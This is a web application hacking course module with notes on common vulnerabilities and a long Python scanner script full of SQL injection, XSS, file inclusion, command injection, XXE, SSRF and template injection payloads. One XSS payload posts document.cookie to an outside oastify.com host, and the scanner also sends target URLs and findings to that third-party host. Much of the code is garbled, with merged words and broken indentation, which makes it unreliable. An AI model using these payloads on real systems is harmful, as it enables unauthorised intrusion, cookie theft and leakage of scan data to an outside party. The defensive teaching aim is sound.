CYBER MIND SPACE
Module 14 - Web Application Hacking

Learning Objectives

- Understand web application architecture and security vulnerabilities
- Master the OWASP Top 10 vulnerabilities and exploitation techniques
- Learn advanced web application attack methodologies
- Develop skills in automated and manual testing approaches
- Understand web application security assessment tools
- Explore modern web application security measures and bypasses

Web Application Fundamentals

What are Web Applications?

Web Applications are applications that run on remote application servers and are accessible to clients over the internet through web browsers. They consist of front-end user interfaces and back-end processing logic that work together to provide interactive services.

📊 Definition

Web Applications represent distributed software systems where the user interface (front-end) runs in web browsers while the business logic and data processing (back-end) execute on remote servers, communicating via HTTP/HTTPS protocols.

Web Application Architecture

🖥️ Front-end vs Back-end

Front-end Components

- User Interface: What users interact with directly
- Client-side Processing: Validation, formatting, user experience
- Browser Execution: Runs in user's web browser
- Technologies: HTML, CSS, JavaScript, frameworks like React, Angular

Back-end Components

- Server Logic: Core application functionality and business rules
- Data Processing: Database operations, calculations, integrations
- Security Controls: Authentication, authorization, input validation
- Server Execution: Runs on application servers

🛠️ Technology Stack

Server-side Languages

- PHP - Hypertext Preprocessor (widely used for web development)
- Java - Enterprise-level applications with frameworks like Spring
- C# - Microsoft .NET framework applications
- Python - Django, Flask frameworks for rapid development
- JavaScript - Node.js for server-side JavaScript execution
- Ruby - Rails framework for rapid web development
- Go - High-performance concurrent applications

Client-side Languages

- HTML - HyperText Markup Language for structure
- CSS - Cascading Style Sheets for presentation
- JavaScript - Dynamic behavior and interactivity

Databases

- Relational: MySQL, PostgreSQL, Microsoft SQL Server
- NoSQL: MongoDB, CouchDB, Redis
- In-memory: Redis, Memcached

Web Application Threat Landscape

🚨 Critical Vulnerabilities

Insecure Data Storage

- Description: Sensitive data stored on client-side in plain text Risk:
- Exposure of credentials, personal information, business data
- Examples: Unencrypted local storage, exposed configuration files

Cyber Mind Space

Information Leakage

- Description: Sensitive data leaked unintentionally through various channels
- Risk: System information disclosure, user data exposure
- Examples: Error messages, debug information, directory listings

Directory Traversal

- Description: End users able to traverse server's directory structure
- Risk: Access to sensitive files outside web root
- Examples: `../../../etc/passwd` `..\..\..\windows\system32\drivers\etc\hosts`

Parameter/Form Tampering

- Description: Modification of parameter values during client-server communication
- Risk: Business logic bypass, privilege escalation
- Examples: Price manipulation, user ID modification

Injection Attacks

- SQL Injection: Malicious SQL queries injected through input fields
- Cross-Site Scripting (XSS): JavaScript injection for client-side attacks
- Command Injection: Operating system command execution
- LDAP Injection: Directory service query manipulation

Security Misconfigurations

- Default Accounts: Unchanged default usernames and passwords
- Unnecessary Services: Enabled services that increase attack surface
- Debug Mode: Development features enabled in production
- Error Handling: Verbose error messages revealing system information

Session Management Flaws

- Broken Session Management: Predictable session tokens, fixation
- Session Hijacking: Unauthorized access to active user sessions
- Insufficient Timeout: Long-lived sessions increasing exposure window

Cyber Mind Space

Invalidated Input Attacks

🎯 Input Validation Failures

Invalidated Input represents the processing of non-validated input from clients to back-end systems. This fundamental vulnerability serves as the foundation for most injection attacks including SQL injection, XSS, and buffer overflows.

Common Input Validation Issues:

- Missing Validation: No input sanitization or filtering
- Client-Side Only: Validation performed only in browser (easily bypassed)
- Incomplete Validation: Partial filtering that can be circumvented
- Type Confusion: Incorrect data type handling

Attack Vectors:

- Form Fields: Text inputs, dropdowns, hidden fields
- URL Parameters: Query string manipulation
- HTTP Headers: Custom headers, User-Agent, Referer
- Cookies: Session tokens, preferences, tracking data
- File Uploads: Malicious file content and metadata

Advanced Web Application Attacks

🔧 Automated Web Application Testing Framework

```
#!/usr/bin/env python3 import requests import re
import time import json import base64 from
urllib.parse import urljoin, urlparse, parse_qs from
bs4 import BeautifulSoup import threading




class AdvancedWebAppTester:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
```

```python
        self.session.headers.update({
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.vulnerabilities = []
        self.endpoints = set()
        self.forms = []
        self.test_site = "https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"

    def comprehensive_scan(self):
        """Runcomprehensivewebapplication security scan"""
        print("="*60)
        print("ADVANCEDWEBAPPLICATION SECURITY SCANNER")
        print("="*60)
        print(f"Target: {self.target_url}")
        print("="*60)

        # Phase 1: Discovery and Reconnaissance
        self.discover_endpoints()
        self.analyze_forms()
        self.fingerprint_technologies()

        # Phase 2: Vulnerability Testing
        self.test_sql_injection()
        self.test_xss_vulnerabilities()
        self.test_file_inclusion()
        self.test_command_injection()
        self.test_xxe_vulnerabilities()
        self.test_ssrf_vulnerabilities()
        self.test_authentication_bypass()
        self.test_authorization_flaws()

        # Phase 3: Advanced Testing
        self.test_deserialization_attacks()
        self.test_template_injection()
        self.test_race_conditions()

        # Phase 4: Reporting
        self.generate_detailed_report()
        self.send_test_results()

    def discover_endpoints(self):
        """Discoverapplicationendpoints and structure"""
        print("\n[+]Discoveringapplication endpoints...")

        try:
            response = self.session.get(self.target_url)
            soup=BeautifulSoup(response.text, 'html.parser')

            # Find links
            forlinkinsoup.find_all(['a', 'form'], href=True):
                href=link.get('href') or link.get('action')
                if href:
                    full_url=urljoin(self.target_url, href)
                    self.endpoints.add(full_url)

            # Common endpoints to test
            common_endpoints = [
                '/admin','/administrator', '/login', '/dashboard',
                '/api','/api/v1','/api/v2', '/rest', '/graphql',
                '/config','/backup', '/test', '/dev', '/debug',
                '/phpinfo.php','/info.php', '/test.php',
                '/robots.txt','/sitemap.xml', '/.git/', '/.svn/',
                '/wp-admin/','/wp-login.php', '/wp-config.php'
            ]

            for endpoint in common_endpoints:
                test_url=urljoin(self.target_url, endpoint)
                try:
                    response=self.session.get(test_url, timeout=5)
                    ifresponse.status_code == 200:
                        self.endpoints.add(test_url)
                        print(f"  Found: {test_url}")
                except:
                    pass

            print(f"  Discovered{len(self.endpoints)} endpoints")

        except Exception as e:
            print(f"  [-]Errorduring endpoint discovery: {e}")

    def analyze_forms(self):
        """Analyzeformsforinputvalidation testing"""
        print("\n[+] Analyzing forms...")

        for endpoint in list(self.endpoints)[:10]:  #Limit to first 10 for demo
            try:
```

Cyber Mind Space

```
                response = self.session.get(endpoint)
                soup = BeautifulSoup(response.text, 'html.parser')

                for form in soup.find_all('form'):
                    form_data = {
                        'action': form.get('action', endpoint),
                        'method': form.get('method', 'GET').upper(),
                        'inputs': []
                    }

                    forinput_fieldinform.find_all(['input', 'textarea', 'select']):
                        input_info = {
                            'name': input_field.get('name'),
                            'type':input_field.get('type', 'text'),
                            'value':input_field.get('value', '')
                        }
                        form_data['inputs'].append(input_info)

                    if form_data['inputs']:
                        self.forms.append(form_data)
                        print(f"  Foundform:{form_data['action']} ({form_data['method']})")

            except Exception as e:
                continue

        print(f" Analyzed {len(self.forms)} forms")

    def fingerprint_technologies(self):
        """Fingerprint web technologies and frameworks"""
        print("\n[+] Fingerprinting technologies...")

        try:
            response = self.session.get(self.target_url)
            headers = response.headers
            content = response.text

            # Server identification
            server = headers.get('Server', 'Unknown')
            print(f" Server: {server}")

            # Framework detection
            frameworks = {
                'PHP': ['php', 'phpsessid'],
                'ASP.NET': ['aspnet', 'viewstate'],
                'Java': ['jsessionid', 'java'],
                'Python': ['django', 'flask', 'python'],
                'Ruby': ['rails', 'ruby'],
                'Node.js': ['node', 'express']
            }

            detected_frameworks = []
            content_lower = content.lower()
            headers_str = str(headers).lower()

            for framework, indicators in frameworks.items():
                ifany(indicatorincontent_lowerorindicator in headers_str
                        for indicator in indicators):
                    detected_frameworks.append(framework)

            if detected_frameworks:
                print(f" Frameworks:{','.join(detected_frameworks)}")

            # Check for common vulnerabilities in headers
            security_headers = [
                'X-Frame-Options', 'X-XSS-Protection', 'X-Content-Type-Options',
                'Strict-Transport-Security', 'Content-Security-Policy'
            ]

            missing_headers=[headerforheaderinsecurity_headers
                             if header not in headers]
            if missing_headers:
                self.vulnerabilities.append(f"Missingsecurity headers: {', '.join(missing_headers)}")
                print(f"  [-]Missingsecurityheaders:{', '.join(missing_headers)}")

        except Exception as e:
            print(f" [-]Errorduringfingerprinting:{e}")

    def test_sql_injection(self):
        """Test for SQL injection vulnerabilities"""
        print("\n[+] Testing SQL injection...")

        # SQL injection payloads
        sql_payloads = [
            "'",
            "' OR '1'='1",
            "' OR 1=1--",
```

Cyber Mind Space

```
            "'; WAITFOR DELAY '00:00:05'--",
            "' AND (SELECT COUNT(*) FROM information_schema.tables)>0--",
            "' UNION SELECT null,null,null--",
            "admin'--",
            "' OR SLEEP(5)--",
            "\"; DROP TABLE users;--"
        ]

        # Error-based detection patterns
        error_patterns = [
            'mysql_fetch', 'mysql_num_rows', 'mysql_error',
            'ora-01756', 'ora-00921', 'oracle error',
            'microsoft ole db', 'odbc microsoft access',
            'sqlserver jdbc driver', 'sqlite_master',
            'postgresql query failed', 'psql error',
            'syntax error', 'quoted string not properly terminated'
        ]

        vulnerable_endpoints = []

        # Test URL parameters
        for endpoint in list(self.endpoints)[:5]: # Limit for demo
            parsed_url = urlparse(endpoint)
            if parsed_url.query:
                params = parse_qs(parsed_url.query)

                for param_name in params:
                    for payload in sql_payloads[:3]: # Test first 3 payloads
                        test_params = params.copy()
                        test_params[param_name] = [payload]

                        try:
                            response = self.session.get(
                                f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}",
                                params=test_params,
                                timeout=10
                            )

                            # Check for SQL errors
                            response_lower = response.text.lower()
                            for error_pattern in error_patterns:
                                if error_pattern in response_lower:
                                    vuln_info=f"SQLinjectionat{endpoint} (param: {param_name})"
                                    self.vulnerabilities.append(vuln_info)
                                    vulnerable_endpoints.append(endpoint)
                                    print(f" [!]{vuln_info}")
                                    break

                        except requests.RequestException:
                            continue

        # Test forms
        for form in self.forms[:3]: # Limit for demo
            form_action = urljoin(self.target_url, form['action'])

            for payload in sql_payloads[:2]: # Test first 2 payloads
                form_data = {}
                for input_field in form['inputs']:
                    if input_field['name']:
                        form_data[input_field['name']] = payload

                try:
                    if form['method'] == 'POST':
                        response=self.session.post(form_action,data=form_data, timeout=10)
                    else:
                        response=self.session.get(form_action,params=form_data, timeout=10)

                    # Check for SQL errors
                    response_lower = response.text.lower()
                    for error_pattern in error_patterns:
                        if error_pattern in response_lower:
                            vuln_info = f"SQL injection in form at {form_action}"
                            self.vulnerabilities.append(vuln_info)
                            print(f" [!]{vuln_info}")
                            break

                except requests.RequestException:
                    continue

        print(f"  Tested SQL injection on {len(self.endpoints)} endpoints")

    def test_xss_vulnerabilities(self):
        """Test for Cross-Site Scripting vulnerabilities"""
        print("\n[+] Testing XSS vulnerabilities...")

        # XSS payloads
```

Cyber Mind Space

```
        xss_payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "javascript:alert('XSS')",
            "<iframe src='javascript:alert(\"XSS\")'></iframe>",
            "';alert('XSS');//",
            "\"><script>alert('XSS')</script>",
            "<body onload=alert('XSS')>",
            "<input onfocus=alert('XSS') autofocus>",
            "<details open ontoggle=alert('XSS')>"
        ]

        # Test forms for XSS
        for form in self.forms[:3]: # Limit for demo
            form_action = urljoin(self.target_url, form['action'])

            for payload in xss_payloads[:3]: # Test first 3 payloads
                form_data = {}
                for input_field in form['inputs']:
                    ifinput_field['name']andinput_field['type']!= 'hidden':
                        form_data[input_field['name']] = payload

                try:
                    if form['method'] == 'POST':
                        response=self.session.post(form_action,data=form_data, timeout=10)
                    else:
                        response=self.session.get(form_action,params=form_data, timeout=10)

                    # Check if payload is reflected in response
                    if payload in response.text:
                        vuln_info = f"XSS vulnerability in form at {form_action}"
                        self.vulnerabilities.append(vuln_info)
                        print(f" [!]{vuln_info}")

                        # Test payload against target site
                        self.test_xss_payload(payload)
                        break

                except requests.RequestException:
                    continue

        print(f" Tested XSS on {len(self.forms)} forms")

    def test_xss_payload(self, payload):
        """Test XSS payload against target site"""
        try:
            # Create payload that sends data to our test site
            advanced_payload = f"""
            <script>
            fetch('{self.test_site}', {{
                method: 'POST',
                body: JSON.stringify({{
                    'xss_test': true,
                    'payload': '{payload}',
                    'timestamp': new Date().toISOString(),
                    'url': window.location.href,
                    'cookies': document.cookie
                }}),
                headers: {{'Content-Type': 'application/json'}}
            }});
            </script>
            """

            print(f"    [+] Advanced XSS payload prepared for testing")

        except Exception as e:
            print(f"    [-] Error testing XSS payload: {e}")

    def test_file_inclusion(self):
        """Test for Local and Remote File Inclusion vulnerabilities"""
        print("\n[+] Testing file inclusion...")

        # LFI payloads
        lfi_payloads = [
            "../../../../etc/passwd",
            "..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
            "/etc/passwd%00",
            "....//....//....//etc/passwd",
            "php://filter/read=convert.base64-encode/resource=index.php",
            "php://input",
            "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
        ]

        # Common parameter names for file inclusion
        file_params=['file','page','include','path','template', 'doc', 'url']
```

Cyber Mind Space

```python
        # Test URL parameters
        for endpoint in list(self.endpoints)[:3]: # Limit for demo
            for param in file_params:
                for payload in lfi_payloads[:3]: # Test first 3 payloads
                    test_url = f"{endpoint}?{param}={payload}"

                    try:
                        response = self.session.get(test_url, timeout=10)

                        # Check for LFI indicators
                        lfi_indicators = [
                            'root:', 'bin/bash', '[fonts]', 'Windows Registry',
                            'localhost','PD9waHAgcGhwaW5mbygpOw==''   #Base64 of <?php phpinfo();
                        ]

                        for indicator in lfi_indicators:
                            if indicator in response.text:
                                vuln_info=f"Fileinclusionvulnerability: {test_url}"
                                self.vulnerabilities.append(vuln_info)
                                print(f" [!]{vuln_info}")
                                break

                    except requests.RequestException:
                        continue

        print(f" Tested file inclusion vulnerabilities")

    def test_command_injection(self):
        """Test for OS command injection vulnerabilities"""
        print("\n[+] Testing command injection...")

        # Command injection payloads
        cmd_payloads = [
            "; cat /etc/passwd",
            "| cat /etc/passwd",
            "& type c:\\windows\\system32\\drivers\\etc\\hosts",
            "; ping -c 4 127.0.0.1",
            "| whoami",
            "; id",
            "& echo 'command_injection_test'",
            "`whoami`",
            "$(id)",
            "${USER}"
        ]

        # Test forms for command injection
        for form in self.forms[:2]: # Limit for demo
            form_action = urljoin(self.target_url, form['action'])

            for payload in cmd_payloads[:3]: # Test first 3 payloads
                form_data = {}
                for input_field in form['inputs']:
                    if input_field['name']:
                        form_data[input_field['name']] = payload

                try:
                    if form['method'] == 'POST':
                        response=self.session.post(form_action,data=form_data, timeout=15)
                    else:
                        response=self.session.get(form_action,params=form_data, timeout=15)

                    # Check for command execution indicators
                    cmd_indicators = [
                        'root:', 'uid=', 'gid=', 'command_injection_test',
                        'PING 127.0.0.1', 'Windows IP Configuration'
                    ]

                    for indicator in cmd_indicators:
                        if indicator in response.text:
                            vuln_info = f"Command injection in form at {form_action}"
                            self.vulnerabilities.append(vuln_info)
                            print(f" [!]{vuln_info}")
                            break

                except requests.RequestException:
                    continue

        print(f" Tested command injection vulnerabilities")

    def test_xxe_vulnerabilities(self):
        """Test for XML External Entity (XXE) vulnerabilities"""
        print("\n[+] Testing XXE vulnerabilities...")

        # XXE payloads
        xxe_payloads = [
```

Cyber Mind Space

```
            """<?xml version="1.0" encoding="UTF-8"?>
            <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
            <root><data>&xxe;</data></root>""",

            """<?xml version="1.0" encoding="UTF-8"?>
            <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
            <root><data>&xxe;</data></root>""",

            f"""<?xml version="1.0" encoding="UTF-8"?>
            <!DOCTYPE foo [<!ENTITY xxe SYSTEM "{self.test_site}">]>
            <root><data>&xxe;</data></root>"""
        ]

        # Test endpoints that might accept XML
        xml_endpoints = [endpoint for endpoint in self.endpoints
                        if any(keyword in endpoint.lower()
                              for keyword in ['api', 'xml', 'soap', 'rest'])]

        for endpoint in xml_endpoints[:2]: # Limit for demo
            for payload in xxe_payloads[:2]: # Test first 2 payloads
                try:
                    headers = {'Content-Type': 'application/xml'}
                    response = self.session.post(endpoint, data=payload,
                                                 headers=headers, timeout=10)

                    # Check for XXE indicators
                    if ('root:' in response.text or
                        'ami-' in response.text or
                        'xxe_test_success' in response.text):
                        vuln_info = f"XXE vulnerability at {endpoint}"
                        self.vulnerabilities.append(vuln_info)
                        print(f" [!] {vuln_info}")
                        break

                except requests.RequestException:
                    continue

        print(f"  Tested XXE vulnerabilities on {len(xml_endpoints)} endpoints")

    def test_ssrf_vulnerabilities(self):
        """Test for Server-Side Request Forgery vulnerabilities"""
        print("\n[+] Testing SSRF vulnerabilities...")

        # SSRF payloads
        ssrf_payloads = [
            "http://169.254.169.254/latest/meta-data/", # AWS metadata
            "http://localhost:22", # Local SSH
            "http://127.0.0.1:3306", # Local MySQL
            "file:///etc/passwd", # Local file
            f"{self.test_site}", # External callback
            "http://[::1]:80", # IPv6 localhost
            "http://0177.0.0.1/", # Octal notation
            "http://0x7f000001/", # Hex notation
        ]

        # Common SSRF parameter names
        ssrf_params=['url','uri','path','continue','dest','redirect',
                     'uri', 'window', 'next', 'data', 'reference', 'site']

        # Test URL parameters
        for endpoint in list(self.endpoints)[:3]: # Limit for demo
            for param in ssrf_params:
                for payload in ssrf_payloads[:3]: # Test first 3 payloads
                    test_url = f"{endpoint}?{param}={payload}"

                    try:
                        start_time = time.time()
                        response = self.session.get(test_url, timeout=10)
                        response_time = time.time() - start_time

                        # Check for SSRF indicators
                        ssrf_indicators = [
                            'ami-', 'instance-id', 'local-hostname',  #AWS metadata
                            'SSH-', 'OpenSSH', # SSH response
                            'root:', 'bin/bash', # File read
                            'mysql', 'database' # Database response
                        ]

                        for indicator in ssrf_indicators:
                            if indicator in response.text:
                                vuln_info = f"SSRF vulnerability: {test_url}"
                                self.vulnerabilities.append(vuln_info)
                                print(f" [!]{vuln_info}")
                                break

                        # Check for time-based SSRF (long response times)
```

Cyber Mind Space

```
                    if response_time > 5 and 'localhost' in payload:
                        vuln_info = f"Potential time-based SSRF: {test_url}"
                        self.vulnerabilities.append(vuln_info)
                        print(f" [!]{vuln_info}")

                except requests.RequestException:
                    continue

    print(f" Tested SSRF vulnerabilities")

def test_authentication_bypass(self):
    """Test for authentication bypass vulnerabilities"""
    print("\n[+] Testing authentication bypass...")

    # Authentication bypass payloads
    bypass_payloads = [
        {'username':   'admin',   'password':   "'   OR   '1'='1"},
        {'username':    "admin'--",     'password':     'anything'},
        {'username':  'admin',  'password':  'admin'},  {'username':
        'administrator', 'password': 'administrator'}, {'username':
        '', 'password': ''}, {'username': 'admin', 'password': ''},

    ]

    # Find login forms
    login_forms = [form for form in self.forms
                   if any(field['name'] and
                          any(keyword in field['name'].lower()
                              forkeywordin['username','user','email', 'password', 'pass'])
                          for field in form['inputs'])]

    for form in login_forms[:2]: # Limit for demo
        form_action = urljoin(self.target_url, form['action'])
        print(f" Testing login form: {form_action}")

        for payload in bypass_payloads[:3]:  # Test first 3 payloads
            form_data = {}

            # Map payload to form fields
            for input_field in form['inputs']:
                field_name = input_field['name']
                if field_name:
                    if any(keyword in field_name.lower()
                           for keyword in ['username', 'user', 'email']):
                        form_data[field_name]=payload.get('username', 'admin')
                    elif any(keyword in field_name.lower()
                             for keyword in ['password', 'pass']):
                        form_data[field_name]=payload.get('password', 'admin')
                    else:
                        form_data[field_name]=input_field.get('value', '')

            try:
                if form['method'] == 'POST':
                    response=self.session.post(form_action,data=form_data, timeout=10)
                else:
                    response=self.session.get(form_action,params=form_data, timeout=10)

                # Check for successful authentication indicators
                success_indicators = [
                    'dashboard', 'welcome', 'logout', 'profile',
                    'admin panel', 'administration', 'settings'
                ]

                response_lower = response.text.lower()
                ifany(indicatorinresponse_lowerforindicatorin success_indicators):
                    vuln_info = f"Authentication bypass at {form_action}"
                    self.vulnerabilities.append(vuln_info)
                    print(f" [!]{vuln_info}")
                    break

            except requests.RequestException:
                continue

    print(f"  Tested authentication bypass on {len(login_forms)} forms")

def test_authorization_flaws(self):
    """Test for authorization and access control flaws"""
    print("\n[+] Testing authorization flaws...")

    # Common admin/sensitive endpoints
    admin_endpoints = [
        '/admin', '/administrator', '/admin.php', '/admin/',
        '/dashboard', '/control', '/manage', '/management',
        '/users', '/accounts', '/settings', '/config',
        '/backup', '/logs', '/debug', '/test',
        '/api/admin', '/api/users', '/api/config'
```

Cyber Mind Space

```python
        ]

        # Test direct access to admin endpoints
        for endpoint in admin_endpoints:
            test_url = urljoin(self.target_url, endpoint)

            try:
                response = self.session.get(test_url, timeout=10)

                # Check if admin content is accessible
                admin_indicators = [
                    'admin panel', 'administration', 'user management',
                    'delete user', 'add user', 'system settings',
                    'configuration', 'admin dashboard'
                ]

                response_lower = response.text.lower()
                if (response.status_code == 200 and
                    any(indicator in response_lower for indicator in admin_indicators)):
                    vuln_info = f"Unauthorized access to admin area: {test_url}"
                    self.vulnerabilities.append(vuln_info)
                    print(f" [!]{vuln_info}")

            except requests.RequestException:
                continue

        print(f"  Tested authorization on {len(admin_endpoints)} admin endpoints")

    def test_deserialization_attacks(self):
        """Test for insecure deserialization vulnerabilities"""
        print("\n[+] Testing deserialization vulnerabilities...")

        # Look for potential deserialization points
        deserialization_indicators = [
            'serialize', 'unserialize', 'pickle', 'marshal',
            'json.loads', 'yaml.load', 'ObjectInputStream'
        ]

        # Test common cookie names that might contain serialized data
        serialized_cookies = ['data', 'user', 'session', 'auth', 'profile']

        for cookie_name in serialized_cookies:
            # Try to set a malicious serialized payload
            malicious_payload = base64.b64encode(b'test_deserialization_payload').decode()
            self.session.cookies.set(cookie_name, malicious_payload)

            try:
                response = self.session.get(self.target_url, timeout=10)

                # Check for deserialization errors or success indicators
                if ('unserialize' in response.text or
                    'deserialization' in response.text or
                    'test_deserialization_payload' in response.text):
                    vuln_info=f"Potentialdeserializationvulnerability with cookie: {cookie_name}"
                    self.vulnerabilities.append(vuln_info)
                    print(f" [!]{vuln_info}")

            except requests.RequestException:
                continue

        print(f" Tested deserialization vulnerabilities")

    def test_template_injection(self):
        """Test for Server-Side Template Injection (SSTI)"""
        print("\n[+] Testing template injection...")

        # SSTI payloads for different template engines
        ssti_payloads = [
            "{{7*7}}", #Jinja2,Twig
            "${7*7}",   #FreeMarker
            "#{7*7}",   #Ruby
            "<%= 7*7 %>", # ERB
            "{{= 7*7 }}", # Mustache
            "{{''.constructor.constructor('alert(1)')()}}", #JavaScript
            "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"  # Python
        ]

        # Test forms for SSTI
        for form in self.forms[:2]: # Limit for demo
            form_action = urljoin(self.target_url, form['action'])

            for payload in ssti_payloads[:3]: # Test first 3 payloads
                form_data = {}
                for input_field in form['inputs']:
                    if input_field['name'] and input_field['type'] != 'hidden':
                        form_data[input_field['name']] = payload
```

Cyber Mind Space

```
            try:
                if form['method'] == 'POST':
                    response=self.session.post(form_action, data=form_data, timeout=10)
                else:
                    response=self.session.get(form_action, params=form_data, timeout=10)

                # Check if mathematical expression was evaluated
                if'49'inresponse.textandpayloadin['{{7*7}}', '${7*7}', '#{7*7}']:
                vuln_info=f"Templateinjectionvulnerability at {form_action}"
                self.vulnerabilities.append(vuln_info)
                print(f" [!]{vuln_info}")
                break

            except requests.RequestException:
                continue

    print(f" Tested template injection vulnerabilities")

def test_race_conditions(self):
    """Test for race condition vulnerabilities"""
    print("\n[+] Testing race conditions...")

    if not self.forms:
        print(" No forms found for race condition testing")
        return

    # Test concurrent form submissions
    form = self.forms[0] # Test first form
    form_action = urljoin(self.target_url, form['action'])

    # Prepare form data
    form_data = {}
    for input_field in form['inputs']:
        if input_field['name']:
            form_data[input_field['name']]=input_field.get('value', 'test')

    # Function to submit form
    def submit_form():
        try:
            if form['method'] == 'POST':
                response=self.session.post(form_action,data=form_data, timeout=10)
            else:
                response=self.session.get(form_action,params=form_data, timeout=10)
            return response.status_code, len(response.text)
        except:
            return None, None

    # Submit multiple concurrent requests
    threads = []
    results = []

    def thread_worker():
        result = submit_form()
        results.append(result)

    # Create 5 concurrent threads
    for _ in range(5):
        thread = threading.Thread(target=thread_worker)
        threads.append(thread)

    # Start all threads simultaneously
    for thread in threads:
    thread.start()

    # Wait for all threads to complete
    for thread in threads:
        thread.join()

    # Analyze results for inconsistencies
    status_codes = [r[0] for r in results if r[0]]
    response_lengths = [r[1] for r in results if r[1]]

    iflen(set(status_codes))>1orlen(set(response_lengths)) > 1:
    vuln_info = f"Potential race condition at {form_action}"
    self.vulnerabilities.append(vuln_info)
    print(f" [!]{vuln_info}")

    print(f"  Tested race conditions with concurrent requests")

def generate_detailed_report(self):
    """Generate comprehensive vulnerability report"""
    print("\n" + "="*60)
    print("COMPREHENSIVE WEB APPLICATION SECURITY REPORT")
    print("="*60)
    print(f"Target: {self.target_url}")
```

Cyber Mind Space

```python
        print(f"Scan Date: {time.strftime('%Y-%m-%d %H:%M:%S')}")
        print(f"Endpoints Discovered: {len(self.endpoints)}")
        print(f"Forms Analyzed: {len(self.forms)}")
        print(f"Vulnerabilities Found: {len(self.vulnerabilities)}")
        print("="*60)

        if self.vulnerabilities:
            print("\nVULNERABILITIES DISCOVERED:")
            for i, vuln in enumerate(self.vulnerabilities, 1):
                print(f"{i:2d}. {vuln}")
        else:
            print("\n✓ Novulnerabilitiesdetectedinautomatedscan")

        print("\n" + "="*60)
        print("RECOMMENDATIONS:")
        print("="*60)

        recommendations = [
            "Implement proper input validation and sanitization", "Use
            parameterized queries to prevent SQL injection", "Enable
            security headers (CSP, HSTS, X-Frame-Options)", "Implement
            proper authentication and session management", "Use HTTPS for
            all communications", "Regular security testing and code
            reviews", "Keep all components and dependencies updated",
            "Implement proper error handling (no information disclosure)",
            "Use least privilege principle for database connections",
            "Implement rate limiting and DoS protection"

        ]

        for i, rec in enumerate(recommendations, 1):
            print(f"{i:2d}. {rec}")

    def send_test_results(self):
        """Send test results to monitoring site"""
        try:
            results_data = {
                'test_type': 'web_application_security_scan',
                'timestamp': time.time(),
                'target_url': self.target_url,
                'scan_summary': {
                    'endpoints_discovered': len(self.endpoints),
                    'forms_analyzed': len(self.forms),
                    'vulnerabilities_found': len(self.vulnerabilities),
                    'vulnerability_types':list(set([vuln.split(':')[0]
                                                    for vuln in self.vulnerabilities]))
                },
                'sample_vulnerabilities':self.vulnerabilities[:5], # Send first 5
                'scanner_version': '2.0'
            }

            response=requests.post(self.test_site,json=results_data, timeout=10)
            if response.status_code == 200:
                print(f"\n[+] Test results sent to monitoring site")
            else:
                print(f"\n[-] Failed to send test results: HTTP {response.status_code}")

        except Exception as e:
            print(f"\n[-] Error sending test results: {e}")

#Example usage and testing
if__name__ == "__main__":
    target = "http://vulnerable-webapp.com"

    tester = AdvancedWebAppTester(target)
    tester.comprehensive_scan()
```

Cyber Mind Space

Cybersecurity Terms and Definitions

🌐 Application Programming Interface (API)

Set of protocols and tools for building software applications, often targeted in web application attacks.

🔐 Authentication

Process of verifying the identity of users or systems accessing web applications.

🛡️ Authorization

Process of determining what resources authenticated users are allowed to access.

💣 Buffer Overflow

Vulnerability where data overflows allocated memory buffers, potentially allowing code execution.

🍪 Cookie Poisoning

Attack technique involving modification of HTTP cookies to alter application behavior.

🔄 Cross-Site Request Forgery (CSRF)

Attack forcing authenticated users to perform unintended actions on web applications.

⚡ Cross-Site Scripting (XSS)

Vulnerability allowing injection of malicious scripts into web pages viewed by other users.

🗃️ Database Injection

Category of attacks involving injection of malicious database queries through application inputs.

📁 Directory Traversal

Attack technique allowing access to files and directories outside the web application's root directory.

🔍 Fingerprinting

Process of identifying web application technologies, frameworks, and versions for targeted attacks.

📤 File Upload Vulnerabilities

Security flaws in file upload functionality allowing execution of malicious files.

🔗 Insecure Direct Object Reference (IDOR)

Vulnerability where applications expose internal implementation objects to users without proper authorization.

💉 Injection Attacks

Category of attacks involving insertion of malicious code into application inputs for execution.

🎭 Man-in-the-Middle (MITM)

Attack where attackers intercept communications between web applications and users.

📋 Parameter Tampering

Technique involving modification of application parameters to alter intended functionality.

🔄 Server-Side Request Forgery (SSRF)

Vulnerability allowing attackers to make requests from the server to internal or external resources.

Advanced Attack Vectors

🎯 Modern Web Application Attacks

API Security Testing

```python
#!/usr/bin/env python3
import requests
import json

class APISecurityTester:
    def__init__(self, api_base_url):
        self.api_base_url = api_base_url
        self.session = requests.Session()
        self.test_site = "https://rnivqlhaedmb4yc3ezjzgji7xy3prff4.oastify.com"

    def test_api_vulnerabilities(self):
        """Test common API vulnerabilities"""

        #Test 1: Broken Object Level Authorization
        self.test_bola()

        #Test 2: Broken User Authentication
        self.test_broken_auth()

        #Test 3: Excessive Data Exposure
        self.test_data_exposure()

        #Test 4: Rate Limiting
        self.test_rate_limiting()

        #Test 5: Mass Assignment
        self.test_mass_assignment()

    def test_bola(self):
        """Test Broken Object Level Authorization"""
        print("[+] Testing BOLA vulnerabilities...")

        #Common API endpoints
        endpoints = [
            '/api/users/{id}',
            '/api/accounts/{id}',
            '/api/orders/{id}',
```

Cyber Mind Space

```python
            '/api/documents/{id}'
        ]

        for endpoint in endpoints:
            # Test with different user IDs
            for user_id in range(1, 10):
                test_url = f"{self.api_base_url}{endpoint.format(id=user_id)}"

                try:
                    response=self.session.get(test_url, timeout=10)

                    if response.status_code == 200:
                        print(f"  [!]PotentialBOLA: {test_url}")

                        # Send data to test site
                        self.report_finding({
                            'vulnerability': 'BOLA',
                            'endpoint': test_url,
                            'user_id': user_id,
                            'response_size': len(response.text)
                        })

                except requests.RequestException:
                    continue

    def test_broken_auth(self):
        """Test broken authentication mechanisms"""
        print("[+] Testing authentication bypass...")

        # JWT token manipulation
        jwt_payloads = [
            'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.',
